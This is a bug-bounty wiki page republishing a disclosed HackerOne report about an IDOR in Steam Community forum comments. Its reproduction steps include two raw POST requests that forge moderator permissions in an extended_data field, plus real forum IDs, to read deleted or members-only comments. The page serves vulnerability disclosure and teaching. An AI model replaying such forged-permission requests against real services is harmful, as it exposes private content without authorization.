Skip to content
IDOR Disclosed report Intermediate

Read Access to all comments on unauthorized forums' discussions! IDOR!

A forum endpoint that returns comments did not check whether the requester was allowed to view the forum or its deleted comments. A member could read deleted comments, and a non-member could read all comments on a members-only forum.

ta8ahi Follow

Originally disclosed on HackerOne

Bounty$500 Medium 4.3 View original
  • Triaged in 2 days
  • Fixed in 2 days
  • Paid in 2 days
  • Disclosed after 3 months

hi,

For a forum's discussion, only moderator+ ranks are allowed to view comments which have been deleted by a officer/moderator.

I have found an issue where a member(who is not allowed to view deleted comments) can get read access to the deleted comments on a forum's discussion.

Also, a non-member who can't view the discussions belonging to an unauthorized forum, can expose the comments on discussions of such forums. He can get read access to all i.e even deleted comments on such forums.

##Steps to reproduce: ###First we try to expose deleted comments to a member rank user

  • Have a forum with such permissions:
initialPermissions.PNG
initialPermissions.PNG From the original on HackerOne

So, here members can view the discussions belonging to this forum, but aren't allowed to view any deleted comments.

Also, non-members can't even view the discussions.

  • In the forum, have a discussion, which has some comments, and delete a few of them.

  • From member account, visit the target discussion, view-source of the page, search for forumtopic_ where you will find the GroupId, forumId, discussion-id in ForumTopic_***GroupID***_***forumID***_***discussionID*** format. Note these down.

  • now, with credentials (cookies/sessionId) belonging to a member account, make the following request:

POST /comment/ForumTopic/delete/***GroupID***/***forumID***/ HTTP/1.1
Host: steamcommunity.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Length: 597
Cookie: ***********member-cookies****
Connection: close

gidcomment=00000&comment=boom...x&start=0&count=15&sessionid=***************&extended_data=%7B%22topic_permissions%22%3A%7B%22can_view%22%3A1%2C%22can_post%22%3A0%2C%22can_reply%22%3A0%2C%22can_moderate%22%3A1%2C%22can_edit_others_posts%22%3A1%2C%22can_purge_topics%22%3A1%2C%22is_banned%22%3A0%2C%22can_delete%22%3A1%2C%22can_edit%22%3A1%7D%2C%22original_poster%22%3A0%2C%22topic_gidanswer%22%3A%220%22%2C%22forum_appid%22%3A0%2C%22forum_public%22%3A0%2C%22forum_type%22%3A%22General%22%2C%22forum_gidfeature%22%3A%220%22%7D&feature2=***discussionID***&oldestfirst=true&include_raw=true



Provide the IDs you noted down as stated in the request. Keep the extended_data param as it is.

  • send the request through
  • in the response search for comments_raw, you will see that even the deleted comments were shown to you.

###now Lets attempt to expose comments to a user who is not allowed to view the forum

  • Now, with credentials (cookies/sessionId) belonging to a non-member account, make the following request:
POST /comment/ForumTopic/delete/***GroupID***/***forumID***/ HTTP/1.1
Host: steamcommunity.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Length: 597
Cookie: ***********member-cookies****
Connection: close

gidcomment=00000&comment=boom...x&start=0&count=15&sessionid=***************&extended_data=%7B%22topic_permissions%22%3A%7B%22can_view%22%3A1%2C%22can_post%22%3A0%2C%22can_reply%22%3A0%2C%22can_moderate%22%3A1%2C%22can_edit_others_posts%22%3A1%2C%22can_purge_topics%22%3A1%2C%22is_banned%22%3A0%2C%22can_delete%22%3A1%2C%22can_edit%22%3A1%7D%2C%22original_poster%22%3A0%2C%22topic_gidanswer%22%3A%220%22%2C%22forum_appid%22%3A0%2C%22forum_public%22%3A0%2C%22forum_type%22%3A%22General%22%2C%22forum_gidfeature%22%3A%220%22%7D&feature2=***discussionID***&oldestfirst=true&include_raw=true

Provide the same IDs as in the previous request. Or you can try with ForumTopic_103582791461362746_1692659135923574526_1692659769940104935, these IDs belong to a Group-->forum which has view permissions set to members-only.

In response, search for comments_raw , you will see all comments were exposed to a user who does not even have the permission to view this discussion.

Impact

  • Non-members without having the access to view a forum can get read access to all comments including deleted comments on such forum discussions.
  • Members get read access to deleted comments on forum discussions.

All these attacks require no user interaction, i.e attacker can ex-filtrate these on his own machine.

thanks, Tabahi

The original report as published on HackerOne, by ta8ahi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the comment retrieval endpoint trusted the client-supplied extended_data permissions and did not enforce forum membership or moderator rank server-side.

Impact

Non-members could read all comments, including deleted ones, on forums they cannot view, and members could read deleted comments; no user interaction was needed.

What the attacker needed

A member or non-member account; knowledge of GroupId, forumId, discussion-id

How it was found

  1. Set up a forum where members can view discussions but not deleted comments, and non-members cannot view discussions.
  2. Create a discussion with comments and delete some of them.
  3. As a member, view the discussion page source to find the GroupId, forumId, and discussion-id.
  4. Send a POST request to the comment delete endpoint with the member's session and the noted IDs.
  5. Search the response for comments_raw to see deleted comments.
  6. Repeat the request with a non-member session to see all comments on a members-only forum.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A forum has private discussions and deleted comments that only certain ranks should see. The server was asked for comments using a request that did not check the user's permissions, so anyone with the right IDs could read them.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More from Valve

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.